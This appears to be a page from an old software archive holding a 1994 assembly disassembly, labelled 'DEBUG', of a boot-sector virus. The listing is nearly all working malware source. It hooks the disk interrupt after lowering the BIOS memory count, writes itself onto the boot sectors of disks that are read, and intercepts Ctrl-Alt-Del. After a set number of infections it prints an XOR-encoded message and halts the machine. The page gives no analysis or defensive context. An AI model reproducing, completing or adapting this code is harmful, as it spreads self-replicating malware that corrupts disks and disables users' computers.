home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ DEBUG ██
- ;██ ██
- ;██ Created: 16-Sep-94 ██
- ;██ Passes: 5 Analysis Options on: none ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- target EQU 'T3' ; Target assembler: TASM-3.1
-
- include srmacros.inc
-
-
- ; The following equates show data references outside the range of the program.
-
- data_1e equ 6
- data_2e equ 0Eh
- data_3e equ 417h
- data_4e equ 46Eh
- data_5e equ 24h
- data_6e equ 26h
- data_7e equ 4Ch
- data_8e equ 4Eh
- data_13e equ 413h ;*
- data_14e equ 46Eh ;*
- data_15e equ 7C00h ;*
- data_16e equ 7CD3h ;*
- data_18e equ 7D25h ;*
- data_19e equ 7DBDh ;*
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- debug proc far
-
- start:
- jmp short real_start
- ;* No entry point to code
- nop
- push si
- inc di
- inc cx
- inc bx
- push ax
- db 36h, 30h, 33h, 00h, 02h, 01h
- db 01h, 00h, 02h, 70h, 00h, 68h
- db 06h,0F9h, 05h, 00h, 0Ah, 00h
- db 02h
- db 9 dup (0)
- db 01h, 00h, 29h,0EDh, 93h, 26h
- db 1Dh
- db 'NO NAME FAT12 '
-
- ;██████████████████████████████████████████████████████████████████████████
- ;
- ; External Entry Point
- ;
- ;██████████████████████████████████████████████████████████████████████████
-
- real_start:
- cli ; Disable interrupts
- push cs
- pop ds
- mov ax,ds:data_7e
- mov ds:data_16e,ax
- mov ax,ds:data_8e
- mov word ptr ds:data_16e+2,ax
- mov al,ds:data_14e
- mov ds:data_19e,al
- mov ax,ds:data_13e
- dec ax
- mov ds:data_13e,ax
- mov cl,6
- shl ax,cl ; Shift w/zeros fill
- sub ax,7C0h
- mov ds:data_8e,ax
- mov ds:data_6e,ax
- mov word ptr ds:data_7e,7C82h
- mov word ptr ds:data_5e,7D62h
- mov si,data_15e
- mov di,si
- mov es,ax
- mov cx,100h
- cld ; Clear direction
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- int 19h ; Bootstrap loader
- cmp ah,0AAh
- jne loc_1 ; Jump if not equal
- iret ; Interrupt return
- loc_1:
- cmp ah,2
- jne loc_4 ; Jump if not equal
- cmp cx,1
- jne loc_4 ; Jump if not equal
- cmp dh,0
- jne loc_4 ; Jump if not equal
- push ax
- push bx
- push si
- push di
- pushf ; Push flags
- call dword ptr cs:data_16e
- jnc loc_2 ; Jump if carry=0
- jmp short loc_5
- loc_2:
- cmp word ptr es:[1FEh][bx],0AA55h
- je loc_3 ; Jump if equal
- jmp short $+29h
- db 26h, 80h,0BFh,0BCh, 01h,0C9h
- db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h
- data_10 db 31h ; Data table (indexed access)
- db 00h, 8Bh,0F3h, 80h,0FAh, 79h
- db 77h, 1Eh, 83h,0C6h, 02h,0BFh
- db 02h, 7Ch,0B9h, 1Eh, 00h, 32h
- db 0F6h,0EBh, 30h,0EAh, 85h,0A5h
- db 00h,0F0h
- db 0B8h, 01h, 00h,0F8h
- loc_5:
- pop di
- pop si
- pop bx
- inc sp
- inc sp
- retf 2 ; Return far
- loc_6:
- add si,1BEh
- mov di,7DBEh
- mov cx,20h
- jmp short $+15h
-
- debug endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_1 proc near
- mov ax,301h
- pushf ; Push flags
- call dword ptr cs:data_16e
- jnc loc_ret_7 ; Jump if carry=0
- pop bx
- mov cl,1
- xor dh,dh ; Zero register
- jmp short $-28h
-
- loc_ret_7:
- retn
- sub_1 endp
-
- ;* No entry point to code
- push ds
- push es
- pop ds
- push cs
- pop es
- cld ; Clear direction
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- mov cx,1
- mov bx,7C00h
- mov ax,301h
- pushf ; Push flags
- call dword ptr cs:data_16e
- jc $-0Fh ; Jump if carry Set
- push ds
- pop es
- inc byte ptr cs:data_19e
- pop ds
- jmp short $-4Ch
- ;* No entry point to code
- add ax,714h
- sbb al,1
- or al,75h ; 'u'
- push ss
- sbb ax,1610h
- push ds
- db 0FFh
- loc_8:
- call sub_2
- pop di
- pop si
- pop bx
- pop ax
- pushf ; Push flags
- call dword ptr cs:data_16e
- xor dh,dh ; Zero register
- mov cl,1
- retf 2 ; Return far
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_2 proc near
- cmp dl,79h ; 'y'
- ja loc_10 ; Jump if above
- mov ax,es:[bx+16h]
- mov dh,1
- cmp al,3
- jae loc_9 ; Jump if above or =
- mov cl,3
- retn
- loc_9:
- cmp al,7
- jae loc_10 ; Jump if above or =
- mov cl,5
- retn
- loc_10:
- mov cl,0Eh
- retn
- sub_2 endp
-
- ;* No entry point to code
- push ax
- push ds
- xor ax,ax ; Zero register
- mov ds,ax
- mov al,ds:data_3e
- and al,0Ch
- cmp al,0Ch
- jne loc_11 ; Jump if not equal
- in al,60h ; port 60h, keybd scan or sw1
- cmp al,53h ; 'S'
- jne loc_11 ; Jump if not equal
- in al,61h ; port 61h, 8255 port B, read
- push ax
- or al,80h
- out 61h,al ; port 61h, 8255 B - spkr, etc
- pop ax
- out 61h,al ; port 61h, 8255 B - spkr, etc
- ; al = 0, disable parity
- mov ax,2
- int 10h ; Video display ah=functn 00h
- ; set display mode in al
- mov al,20h ; ' '
- out 20h,al ; port 20h, 8259-1 int command
- ; al = 20h, end of interrupt
- int 19h ; Bootstrap loader
- loc_11:
- mov al,ds:data_4e
- mov ds:data_1e,ax
- mov ds:data_2e,ax
- push cs
- pop ds
- cmp al,ds:data_19e
- jbe $+1Ah ; Jump if below or =
- xor ax,ax ; Zero register
- int 10h ; Video display ah=functn 00h
- ; set display mode in al
- mov si,data_18e
- loc_12:
- mov ah,0Eh
- xor bx,bx ; Zero register
- cld ; Clear direction
- lodsb ; String [si] to al
- cmp al,0FFh
- je loc_13 ; Jump if equal
- xor al,55h ; 'U'
- int 10h ; Video display ah=functn 0Eh
- ; write char al, teletype mode
- jmp short loc_12
- loc_13:
- hlt ; Halt processor
- pop ds
- pop ax
- jmp far ptr $-1930h
- db 0C9h, 0Fh, 80h, 01h, 01h, 00h
- db 06h, 0Eh,0E2h,0E7h, 22h, 00h
- db 00h, 00h, 0Eh,0C8h, 07h
- db 49 dup (0)
- db 55h,0AAh
-
- seg_a ends
-
-
-
- end start
-